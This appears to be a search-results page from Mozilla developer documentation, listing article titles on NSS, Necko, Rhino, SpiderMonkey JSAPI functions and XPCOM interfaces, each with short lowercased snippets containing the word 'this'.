this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also signtool (1) the nss wiki has information on the new database design and how to configure applications to use it.
Network Security Services
getting started nss releases
this page contains information about the current and past releases of nss.
...implementing pkcs #11 for nss the strings nss uses to load pkcs #11 modules pkcs #11 faq using the jar installation manager to install a pkcs #11 cryptographic module pkcs #11 conformance testing - archived version ca certificates pre-loaded into nss mozilla ca certificate policy list of pre-loaded ca certificates consumers of
this list must consider the trust bit setting for each included root certificate.
Necko Interfaces Overview
warning: the content of
this article may be out of date.
...cket used directly by protocol handler implementations (as well as by mailnews and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Necko
this api is used in many mozilla-based client applications (including firefox) and can be used for writing other networking clients.
...eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses
this library without having to build mozilla.
Pork Tool Development
this can be translated to an unboxedloc, which has a line and column offset (see renamer.cc:65).
... macro expansion
this section refers to macro expansion when using mcpp (see installing pork).
Rhino documentation
try
this at jarvana.) an annotated outline of the programming interface to rhino (tip only).
...try
this at http://archive.is/ssvxq ) an article comparing and contrasting rhino and jython.
Small Footprint
removing org.mozilla.javascript.javaadapter will disable
this functionality, but rhino will otherwise run correctly.
...
this change saves 47,984 bytes of class files.
Rhino JavaScript compiler
functions and scripts compiled
this way cannot be decompiled.
...
this option can be used to avoid distributing source or simply to save space in the resulting class file.
Performance Hints
for example, you could rewrite function sum(a) { result = 0; for (i=0; i < a.length; i++) result += a[i]; return result; } as function sum(a) { var result = 0; for (var i=0; i < a.length; i++) result += a[i]; return result; }
this is not equivalent code because the second version does not modify global variables result and i.
...for example, the code function myobject(a) {
this.s = a;
this.tostring = new function("return
this.s"); } could be written more efficiently as function myobject(a) {
this.s = a;
this.tostring = function () { return
this.s } } beginning with rhino 1.4 release 2, code passed to eval and new function will be interpreted rather than compiled to class files.
Creating JavaScript tests
for
this reason, the best place to find out if a change is performance sensitive is on arewefastyet.com.
...don't do
this unless you know what you're doing.
Bytecodes
there are also some slots reserved for dedicated functionality, holding values like
this and the callee / return value.
...all bytecodes implicitly operate in terms of
this location.
INT_TO_JSVAL
obsolete since jsapi 42
this feature is obsolete.
...starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so
this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined.
JS::CompileFunction
this article covers features introduced in spidermonkey 17 create a javascript function from a text string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::CompileOffThread
this article covers features introduced in spidermonkey 31 compile a script off thread for execution.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::Construct
this article covers features introduced in spidermonkey 38 call a specified js constructor.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::CreateError
this article covers features introduced in spidermonkey 38 create an error object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::DeflateStringToUTF8Buffer
this article covers features introduced in spidermonkey 38 encode the given string as utf8 into given buffer.
...
this can be less than the length of the string, if the buffer is exhausted before the string is fully encoded.
JS::GetSelfHostedFunction
this article covers features introduced in spidermonkey 31 create a new javascript function that is implemented in self-hosted javascript.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::HandleValueArray
this article covers features introduced in spidermonkey 31 a handle to an array of rooted values.
...
this is useful as a parameter type, or a temporal local variable for it.
JS::MutableHandle
this article covers features introduced in spidermonkey 17 reference to a t that has been rooted elsewhere.
...
this is useful for outparams.
JS::NewFunctionFromSpec
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... unlike js_definefunctions,
this does not treat fs as an array.
JS::PropertySpecNameToPermanentId
this article covers features introduced in spidermonkey 38 create a jsid that does not need to be marked for gc.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ProtoKeyToId
this article covers features introduced in spidermonkey 38 convert a jsprotokey to js id.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::SourceBufferHolder
this article covers features introduced in spidermonkey 31 container class for passing in script source buffers to the js engine.
...
this not only groups the buffer and length values, it also provides a way to optionally pass ownership of the buffer to the js engine without copying.
JS::ToBoolean
this article covers features introduced in spidermonkey 17 convert any javascript value to a boolean.
...it implements the toboolean operation described in ecma 262 §7.1.2.
this function can not fail and the return value is always the boolean conversion of the argument.
JS::ToInt32
this article covers features introduced in spidermonkey 17 convert any javascript value to a signed 32bit integer.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToInt64
this article covers features introduced in spidermonkey 17 convert any javascript value to a signed 64bit integer.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToNumber
this article covers features introduced in spidermonkey 17 convert any javascript value to a double.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToString
this article covers features introduced in spidermonkey 31 convert any javascript value to a string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToUint16
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 16bit integer.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToUint32
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 32bit integer.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS::ToUint64
this article covers features introduced in spidermonkey 17 convert any javascript value to an unsigned 64bit integer.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JSConstDoubleSpec
this article covers features introduced in spidermonkey 17 describes a double and integer value and assigns it a name.
... if
this field is 0, js_defineconstdoubles uses the default attributes jsprop_readonly | jsprop_permanent instead.
JSConvertOp
description jsconvertop callback specifies conversion behavior for objects having
this class, implementing the ecmascript [[defaultvalue]] behavior for them.
... implementations of
this hook have historically been required to accept any type.
JSExceptionState
the fields of
this structure are private/opaque.
...
this is used to save and restore exception states.
JSFUN_GLOBAL_PARENT
obsolete since javascript 1.8.5
this feature is obsolete.
...
this macro is not provided in any stable spidermonkey releases.
JSFinalizeOp
the garbage collector calls
this callback for each object it collects.
... warning:
this hook is called during garbage collection.
JSFreeOp
this article covers features introduced in spidermonkey 17 structure used during finalization instead of jscontext.
... syntax jsfreeop(jsruntime *rt); name type description rt jsruntime * a runtime to store in
this structure.
JSIteratorOp
obsolete since jsapi 26
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8 callback for creating iterators.
JSObject
the javascript engine sometimes uses
this relationship to implement lexical scoping.
... security-sensitive applications can use
this relationship to make every object a member of some security domain.
JSObjectOp
obsolete since javascript 1.8.5
this feature is obsolete.
... typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); the callbacks of
this type are: jsextendedclass.outerobject jsextendedclass.innerobject jsextendedclass.wrappedobject jsobjectops.
thisobject ...
JSObjectOps.defaultValue
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.defineProperty
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.destroyObjectMap
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.getRequiredSlot
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.lookupProperty
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.newObjectMap
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSObjectOps.setProto
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
JSPRINCIPALS_HOLD
obsolete since jsapi 13
this feature is obsolete.
...
this argument must not be null.
JSPrincipalsTranscoder
principalsp jsprincipals ** if xdr->mode == jsxdr_decode,
this is an out parameter: on success, *principalsp receives the deserialized principals.
... description the javascript engine uses
this callback to serialize and deserialize principals.
JSScript
todo: documentation on
this gigantic class.
... for now, i'll just say that
this class represents a section of compiled javascript code, and the functions to create, run, and analyize it.
JSVAL_IS_GCTHING
obsolete since jsapi 32
this feature is obsolete.
...
this macro exposes javascript engine implementation details and usually isn't what the application really means.
JSVAL_TO_DOUBLE
obsolete since jsapi 32
this feature is obsolete.
...
this function is not type-safe: if v is an integer, string, null, or anything else, the behavior is undefined.
JSVAL_TO_OBJECT
obsolete since jsapi 32
this feature is obsolete.
...
this function is not type-safe: if v is not an object or jsval_null, the behavior is undefined.
JS_ClearDateCaches
this article covers features introduced in spidermonkey 17 clear the cache of calculated local time from each date object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_ClearScope
obsolete since jsapi 18
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_CompileFileHandleForPrincipals
this article covers features introduced in spidermonkey 1.8.5 please provide a description of
this function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_CompileFileHandleForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please provide a description for
this function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_CompileScript
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if the jsoption_compile_n_go option is set in cx, the resulting script must be executed in
this scope, and at most once.
JS_CompileUCFunctionForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please provide a description for
this function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_CompileUTF8File
obsolete since jsapi 19
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_ConvertArgumentsVA
obsolete since jsapi 38
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_DecompileFunctionBody
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...the source code generated by
this function is accurate but unadorned and is not suitable for recompilation without providing the function's declaration.
JS_DecompileScript
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... from spidermonkey 17,
this does not actually decompile the script, but returns the original source code (bug 761723).
JS_DecompileScriptObject
this article covers features introduced in spidermonkey 1.8.5 fixme: please provide a description for
this function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_DefineFunction
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this becomes the new function object's length property and can be accessed using js_getfunctionarity.
JS_DefineFunctions
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this array is usually defined as a static global, with each record initialized using js_fs or js_fn.
JS_DeleteElement2
obsolete since jsapi 39
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_DestroyScript
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... at present,
this function has no effect; the jsscript lives for as long as its script object lives.
JS_DoubleIsInt32
this article covers features introduced in spidermonkey 17 compare double value and int32_t value.
... we should definitely fix
this (bug 744965), but as apparently it "works" in practice, it's not a pressing concern now.
JS_DoubleToInt32
obsolete since jsapi 38
this feature is obsolete.
...
this article covers features introduced in spidermonkey 17 convert a c floating-point number of type double to 32-bit integer per ecma spec.
JS_EncodeString
this article covers features introduced in spidermonkey 1.8 convert a javascript string to a c string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext..
JS_EncodeStringToBuffer
this article covers features introduced in spidermonkey 1.8.5 convert a javascript string to a c string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_EnterCompartment
this article covers features introduced in spidermonkey 24 note: the preferred way of changing a context's current compartment is using jsautocompartment.
...
this implicitly identifies the compartment to be entered.
JS_ForwardGetPropertyTo
this article covers features introduced in spidermonkey 17 find a specified property and retrieve its value.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetArrayLength
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if obj is an array (see js_isarrayobject),
this is guaranteed to succeed, because the .length property of an array is always a number and can't be deleted or redefined.
JS_GetClass
the js_get_class(cx, obj) macro abstracted away
this detail.
...if obj has no jsclass,
this returns null.
JS_GetContextPrivate
js_getcontextprivate and js_getsecondcontextprivate get
this field and js_setcontextprivate and js_setsecondcontextprivate set it.
...memory management for
this private data is the application's responsibility.
JS_GetContextThread
obsolete since jsapi 8
this feature is obsolete.
... description js_getcontextthread returns the id of the thread currently associated with
this context.
JS_GetFlatStringChars
obsolete since jsapi 33
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 get the chars of a flat string.
JS_GetFunctionFlags
obsolete since jsapi 19
this feature is obsolete.
...(the meaning of
this flag may change.) see also bug 807228 ...
JS_GetFunctionId
this is the defined name if one was given where the function was defined, or it could be an inferred name by the js engine in the case that the function was defined to be anonymous.
...
this can still return nullptr if a useful display name could not be inferred.
JS_GetFunctionScript
this article covers features introduced in spidermonkey 38 retrieves a jsscript for a specified function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetInternedStringChars
obsolete since jsapi 33
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 get the chars of an interned string.
JS_GetLatin1FlatStringChars
this article covers features introduced in spidermonkey 38 get the chars of a flat string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext..
JS_GetLatin1InternedStringChars
this article covers features introduced in spidermonkey 38 get the chars of an interned string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext..
JS_GetLatin1StringCharsAndLength
this article covers features introduced in spidermonkey 38 get the chars and the length of a string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext..
JS_GetOptions
obsolete since jsapi 27
this feature is obsolete.
...
this function returns a uint32 value that is the logical or of zero or more of the jsoption flags described in js_setoptions.
JS_GetOwnPropertyDescriptor
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if desc->obj is null, then
this property was not found on the prototype chain.
JS_GetProperty
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...for many objects, including objects of standard classes such as object and array,
this hook does nothing and returns true, so the property get succeeds and undefined is left in *vp.
JS_GetPropertyAttributes
obsolete since jsapi 26
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetPropertyDescriptor
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if desc->obj is null, then
this property was not found on the prototype chain.
JS_GetPrototype
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is the equivalent of object.getprototypeof(obj) from javascript.
JS_GetRuntimePrivate
js_getruntimeprivate gets the value of
this field and js_setruntimeprivate sets it.
...memory management for
this private data is the application's responsibility.
JS_GetStringCharAt
this article covers features introduced in spidermonkey 38 return a specified character from a string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetStringChars
obsolete since jsapi 33
this feature is obsolete.
... the array returned by
this function remains valid as long as str is valid.
JS_GetStringLength
this is the same as the length property of the string.
...
this is the same as the length of the array returned by js_getstringchars, in char16_ts (not bytes).
JS_HasInstance
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function is equivalent to v instanceof obj test in javascript.
JS_IdToProtoKey
this article covers features introduced in spidermonkey 31 convert a js id to a jsprotokey.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_InitCTypesClass
this article covers features introduced in spidermonkey 1.8.5 initialize the ctypes object on a global object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_InternJSString
this article covers features introduced in spidermonkey 1.8.5 make a string to interned string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_IsConstructing
obsolete since jsapi 26
this feature is obsolete.
...ordinary non-constructor jsnatives have no need to call
this; it always returns js_false for such functions.
JS_IsExceptionPending
otherwise, it returns false
this can be used from jsnative functions which call js code to determine if the called js code threw an exception or not.
...react to exception thrown in
this block ...
JS_IsExtensible
this article covers features introduced in spidermonkey 1.8.5 query [[extensible]] properly of the given object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_IsIdentifier
this article covers features introduced in spidermonkey 17 test whether the given string is a valid ecmascript identifier.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_IterateCompartments
this article covers features introduced in spidermonkey 17 iterate over compartments and call the specified callback function on every compartment.
... data void *
this will be passed as the data parameter of the jsiteratecompartmentcallback.
JS_LeaveCrossCompartmentCall
obsolete since jsapi 18
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.1 js_leavecrosscompartmentcall has been removed in bug 786068.
JS_LinkConstructorAndPrototype
this article covers features introduced in spidermonkey 17 set up ctor.prototype = proto and proto.constructor = ctor with the right property flags.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_LockGCThing
obsolete since jsapi 22
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_LooselyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascript values are equal in the sense of the == operator.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_MapGCRoots
obsolete since jsapi 19
this feature is obsolete.
...
this function acquires and releases rt's gc lock around the mapping of the roots table, so the map function should run to completion in as few cycles as possible.
JS_NewDateObject
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance for the given time and date.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_NewDependentString
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...(implementation note: because of
this sharing, the garbage collector will not collect str as long as the new substring is reachable.) on success, js_newdependentstring returns a pointer to the new string.
JS_NewPlainObject
this article covers features introduced in spidermonkey 38 creates a new plain javascript object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_NextProperty
obsolete since jsapi 36
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_ParseJSON
this article covers features introduced in spidermonkey 1.8.6 parse a string using the json syntax described in ecmascript 5 and return the corresponding value.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_PopArguments
obsolete since javascript 1.8.5
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_PutEscapedString
this article covers features introduced in spidermonkey 1.8.5 write a string into buffer with escaping.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_RemoveRootRT
this enables any pointed-at gc thing to be garbage collected as needed.
...
this must have been passed to one of js_addroot, js_addnamedroot, or js_addnamedrootrt earlier.
JS_ReportError
this function can also raise a javascript exception which a currently executing script can catch.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_ReportOutOfMemory
when the javascript engine tries to allocate memory and allocation fails, it reports an error as though by calling
this function.
...when a script tries to grow an array beyond 230-1 elements, for example, or concatenate strings such that the result is more than 229-1 characters long, the javascript engine reports an error as though by calling
this function.
JS_ResolveStandardClass
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this api can be called directly from a global object class's resolve op, to define standard classes lazily.
JS_RestoreExceptionState
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... description
this function permits to restore any previously saved exception state which was saved into a jsexceptionstate object created by the js_saveexceptionstate function.
JS_ScheduleGC
this article covers features introduced in spidermonkey 17 set nextscheduled parameter of gc.
... at
this point, if zeal is one of the types that trigger periodic collection, then nextscheduled is reset to the value of frequency.
JS_SetArrayLength
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is true even if obj is not an array object.
JS_SetCallReturnValue2
obsolete since javascript 1.8.5
this feature is obsolete.
...
this reference value can then be used as an lvalue in script.
JS_SetCheckObjectAccessCallback
this function is deprecated.
...
this callback is also used to check access to the caller property of function objects (as, for example, when the javascript engine creates a stack trace) and to check access from scripts to properties with scripted getters or setters.
JS_SetPendingException
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...a native function or hook using
this to throw an exception must also return false to ensure the exception is thrown.
JS_SetPropertyAttributes
obsolete since jsapi 26
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_SetPrototype
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...take care not to create a circularly-linked list of prototypes using
this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
JS_StrictlyEqual
this article covers features introduced in spidermonkey 1.8.1 determine whether two javascript values are equal in the sense of the === operator.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_StringEqualsAscii
this article covers features introduced in spidermonkey 1.8.5 compare flat string and ascii string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_SuspendRequest
obsolete since jsapi 18
this feature is obsolete.
...
this allows the runtime to perform garbage collection if needed and allows other threads to access objects that the calling thread had locked.
JS_ToggleOptions
obsolete since jsapi 27
this feature is obsolete.
...
this is the logical or of zero or more flags described at js_setoptions.
JS_ValueToSource
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this happens, for example, if v is an object and v.tosource() throws an exception.
JS_malloc
if allocation fails, an error is reported in
this context.
...do not make assumptions based on
this implementation detail.
PRIVATE_TO_JSVAL
obsolete since jsapi 42
this feature is obsolete.
...
this can be useful with reserved slots.
SpiderMonkey 45
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... release notes errata feel free to fix any problems you spot, directly in the text above --
this is a wiki!
SpiderMonkey releases
this page lists spidermonkey release notes.
...we are very limited in our ability to support older versions, including those labeled as "releases" on
this page.
Pinning violation reports
the error page displayed by firefox when you encounter a pin violation gives you the option of reporting
this error.
... doing
this can help us to make the web safer.
AT Development
this article (from 2007) reviews the progress and technology as it has developed.
...
this page includes: aria references - w3c specification reflecting aria mapping into at apis.
Binary compatibility
what does
this mean to you?
...when you see a @status frozen, note that
this means it should work as long as the component and xpcom are built with the same compiler abi.
XPCOM hashtable guide
this is the simplified version of the detailed xpcom hashtable guide.
... everything you need to know is probably on
this page.
Inheriting from implementation classes
ns_decl_isupports_inherited ns_forward_ia(a::) // need to disambiguate ns_decl_ib } b.cpp: ns_impl_isupports_inherited1(b, a, ib) //
this, superclass,added ifaces ns_imethodimp b::funcb() { ...
...} threadsafe if you want to make
this threadsafe, you can replace ns_impl_isupports1(a, ia) with ns_impl_threadsafe_isupports1(a, ia) in the base implementation class only (e.g.
How To Pass an XPCOM Object to a New Window
getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/content/debug.xul", "debug history", "chrome,centerscreen,resizable", myobject); note in
this example that myobject is passed to the openwindow() method; you can pass any xpcom object (or any other value, for that matter) in
this way.
... to access the xpcom object from the window's code, you can access the window.arguments[] array, as shown in the example below: components.utils.reporterror(string(window.arguments[0]));
this will produce output similar to "[xpconnect wrapped nsimyxpcomobject]".
Components.Constructor
syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by
this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...(
this benefit is also partly a result of having to travel through the layer between the javascript engine and xpcom fewer times.) the behavior of functions returned by components.constructor() varies depending upon the arguments given to components.constructor() when called.
Components.interfaces
this includes nsisupports.queryinterface(), the optional parameter accepted by nsijscid.getservice(), nsijscid.createinstance() when called from javascript, and nsiclassinfo.getinterfaces().
...you can retrieve an interface object using: var iface = components.interfaces.nsisupportsarray;
this will return you the interface object for the nsisupportsarray interface.
Components.isSuccessCode
components.issuccesscode() is functionally equivalent to the following javascript: function issuccesscode(returncode) { return (returncode & 0x80000000) === 0; } since failure error codes are turned into exceptions when encountered in javascript,
this function usually is not necessary.
... if (!components.issuccesscode(statuscode)) copyfailed = true; }, queryinterface: function(aiid) { if (aiid.equals(ci.nsirequestobserver) || aiid.equals(ci.nsisupports)) return
this; throw cr.ns_error_no_interface; } }; var copier = cc["@mozilla.org/network/async-stream-copier;1"] .createinstance(ci.nsiasyncstreamcopier); copier.init(instream, outstream, null, true, false, 8192, true, true); copier.asynccopy(copyobserver, null); } ...
Components.results
elements in
this array can be used to test against unknown nsresult variables or they can be 'thrown' to indicate failure...
...*/ queryinterface: function(id) { if (id.equals(ci.imyinterface)) return
this; throw cr.ns_error_no_interface; } }; ...
Components.utils.isXrayWrapper
any expando properties are not visible, and if any native properties have been redefined,
this has no effect.
... use
this function to determine whether a given object is an xray or not.
Profiling XPCShell
a profile will look like
this: file:///users/michiel/mozilla/tree1/...js/calutils.js [2,25420] createdatetime() {60-62} 579 {min 0, max 3, avg 0, sum 427, self 427} [2,56810] cp_qi() {860-866} 835 {min 0, max 1, avg 0, sum 950, self 950} the first line tells which file was profiled.
...f the function; the call count of the function; the functions name; the starting line number; the ending line number; the function's size; the amount of time (in milliseconds) the fastest call took; the time of the slowest call; the average time spend; the total time; the time spend in the function itself is given (that is the total time excluding the time spend in functions called from
this function).
Monitoring HTTP activity
this is very simple, requiring you to implement a single method, nsihttpactivityobserver.observeactivity(), which gets called each time an action of interest takes place on the http channel.
...
this is done using the nsihttpactivitydistributor.addobserver() method in nsihttpactivitydistributor: var activitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); activitydistributor.addobserver(httpobserver); observable activities there are two classes of observable ...
nsDirectoryService
this service returns the locations of "well known" directories in an os-independent manner.
... class id f00152d0-b40b-11d3-8c9c-000064657374 contractid @mozilla.org/file/directory_service;1 supported interfaces nsiproperties nsidirectoryservice remarks
this component is a singleton and should therefore be accessed via the xpcom service manager.
NS_Free
remarks
this function provides a convenient way to access the xpcom memory manager.
... history
this function was finalized for mozilla 1.8.
nsCOMPtr
« xpcom api reference summary
this utility class simplifies managing xpcom interface references from c++ code.
...to use
this class, you must link your component or application against the xpcom glue library.
nsCStringEncoding
no attempt is made to protect against data loss in
this case.
... history
this enumeration was frozen for mozilla 1.7.
Alloc
return values
this function is infallible, therefore guaranteed to return a pointer to the newly allocated buffer.
... note: prior to gecko 13.0,
this function returned nsnull if memory allocation failed.
Clone
this must be non-null.
... return values
this function returns nsnull if the memory allocation fails.
GetGlobalMemoryService
static nsimemory* getglobalmemoryservice(); return values
this function returns nsnull if the global memory manager does not exist or could not be initialized.
... remarks
this function returns the same value as the ns_getmemorymanager function.
nsMemory
remarks to use the methods in
this class, you must link your component or application against the xpcom glue library.
... the static methods defined on
this class are not frozen.
IAccessibleApplication
other-licenses/ia2/accessibleapplication.idlnot scriptable
this interface gives access to the application's name and version information.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3)
this interface provides the at with the information it needs to differentiate
this application from other applications, from other versions of
this application, or from other versions of
this application running on different versions of an accessibility bridge or accessibility toolkit.
IAccessibleImage
other-licenses/ia2/accessibleimage.idlnot scriptable
this interface represents images and icons.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3)
this interface is used for a representation of images like icons on buttons.
amIInstallTrigger
this should be a js object, each property is the name of an add-on to be installed.
...
this method is deprecated, please use install() in the future.
amIWebInstallInfo
toolkit/mozapps/extensions/amiwebinstalllistener.idlscriptable
this interface is used by the default implementation of amiwebinstalllistener to communicate with the running application and allow it to warn the user about blocked installs and start the installs running.
... note: prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5),
this was an nsidomwindowinternal.
amIWebInstaller
toolkit/mozapps/extensions/amiwebinstaller.idlscriptable
this interface is used to allow web pages to start installing add-ons.
...tring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: prior to gecko 8.0, all references to nsidomwindow used in
this interface were nsidomwindow.
imgIEncoder
modules/libpr0n/public/imgiencoder.idlscriptable please add a summary to
this article.
...post-multiplied alpha us used (for example 50% transparent red is 0xff000080) input_format_hostargb 2 input is host-endian argb: on big-endian machines each pixel is therefore argb, and for little-endian machiens (intel) each pixel is bgra (
this is used by canvas to match it's internal representation) pre-multiplied alpha is used (that is, 50% transparent red is 0x80800000, not 0x80ff0000) possible values for outputoptions.
mozIColorAnalyzer
this is intended to be used on favicon images.
...if imageuri points to an image that has more than 128^2 pixels,
this method will fail for performance reasons before analyzing it.
mozIPlaceInfo
warning:
this interface is experimental and will change after gecko 2.0.
... toolkit/components/places/public/moziasynchistory.idlscriptable
this interface provides additional info for a places entry 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description frecency long read only: the frecency of the place.
mozIStorageAsyncStatement
this differs from mozistoragestatement by only being usable for asynchronous execution.
... (mozistoragestatement can be used for both synchronous and asynchronous purposes.)
this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread.
mozIStorageCompletionCallback
this interface should be implemented to handle callbacks from asynchronous storage api routines.
... storage/public/mozistoragecompletioncallback.idlscriptable please add a summary to
this article.
mozIStorageProgressHandler
storage/public/mozistorageprogresshandler.idlscriptable please add a summary to
this article.
...
this allows you to monitor the progress and possibly display status information to the user.
mozIStorageValueArray
for an introduction on how to use
this interface, see the storage overview document.
... storage/public/mozistoragevaluearray.idlscriptable please add a summary to
this article.
mozIVisitStatusCallback
toolkit/components/places/moziasynchistory.idlscriptable
